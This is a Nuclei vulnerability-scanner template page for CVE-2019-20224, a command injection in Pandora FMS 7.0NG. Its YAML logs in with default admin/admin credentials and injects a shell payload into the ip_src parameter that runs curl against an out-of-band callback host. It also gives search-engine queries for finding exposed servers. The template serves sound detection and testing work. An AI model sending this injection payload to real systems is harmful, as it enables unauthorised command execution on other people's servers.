Pandora FMS 7.0NG - Remote Command Injection

ID: CVE-2019-20224

Severity: high

Author: ritikchaddha

Tags: cve,cve2019,pandorafms,rce,authenticated,oast,artica

Description

Pandora FMS 7.0NG allows remote authenticated users to execute arbitrary OS commands via shell metacharacters in the ip_src parameter in an index.php?operation/netflow/nf_live_view request.

YAML Source

id: CVE-2019-20224

info:
  name: Pandora FMS 7.0NG - Remote Command Injection
  author: ritikchaddha
  severity: high
  description: |
    Pandora FMS 7.0NG allows remote authenticated users to execute arbitrary OS commands via shell metacharacters in the ip_src parameter in an index.php?operation/netflow/nf_live_view request.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized remote code execution, potentially compromising the entire system.
  remediation: This issue has been fixed in Pandora FMS 7.0 NG 742.
  reference:
    - https://shells.systems/pandorafms-v7-0ng-authenticated-remote-code-execution-cve-2019-20224/
    - https://gist.github.com/mhaskar/2153d66a0928492d76b799ba13b9e3f9
    - https://nvd.nist.gov/vuln/detail/CVE-2019-20224
    - https://drive.google.com/file/d/1DkWR5MylzeNr20jmHXTaAIJmf3YN-lnO/view
    - https://pandorafms.com/downloads/solved-pandorafms-742.mp4
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2019-20224
    cwe-id: CWE-78
    epss-score: 0.18764
    epss-percentile: 0.95774
    cpe: cpe:2.3:a:artica:pandora_fms:7.0_ng:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: artica
    product: pandora_fms
    shodan-query: http.title:"pandora fms"
    fofa-query: title="pandora fms"
    google-query: intitle:"pandora fms"
  tags: cve,cve2019,pandorafms,rce,authenticated,oast,artica

http:
  - raw:
      - |
        POST /pandora_console/index.php?login=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        nick=admin&pass=admin&login_button=Login
      - |
        POST /pandora_console/index.php?sec=netf&sec2=operation/netflow/nf_live_view&pure=0 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        date=0&time=0&period=0&interval_length=0&chart_type=netflow_area&max_aggregates=1&address_resolution=0&name=0&assign_group=0&filter_type=0&filter_id=0&filter_selected=0&ip_dst=0&ip_src=%22%3Bcurl+{{interactsh-url}}+%23&draw_button=Draw

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        name: "http"
        part: interactsh_protocol
        words:
          - "http"

      - type: status
        status:
          - 200
# digest: 4b0a004830460221009aa13ee9b369790dd9eab24e3a1d16181e1dc151c14ecd7b65936061aaaf9af602210096d4e79a16f33fac104fc6703d44eedb7218967c9a1d03c007245df007da334c:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-20224.yaml"

View on Github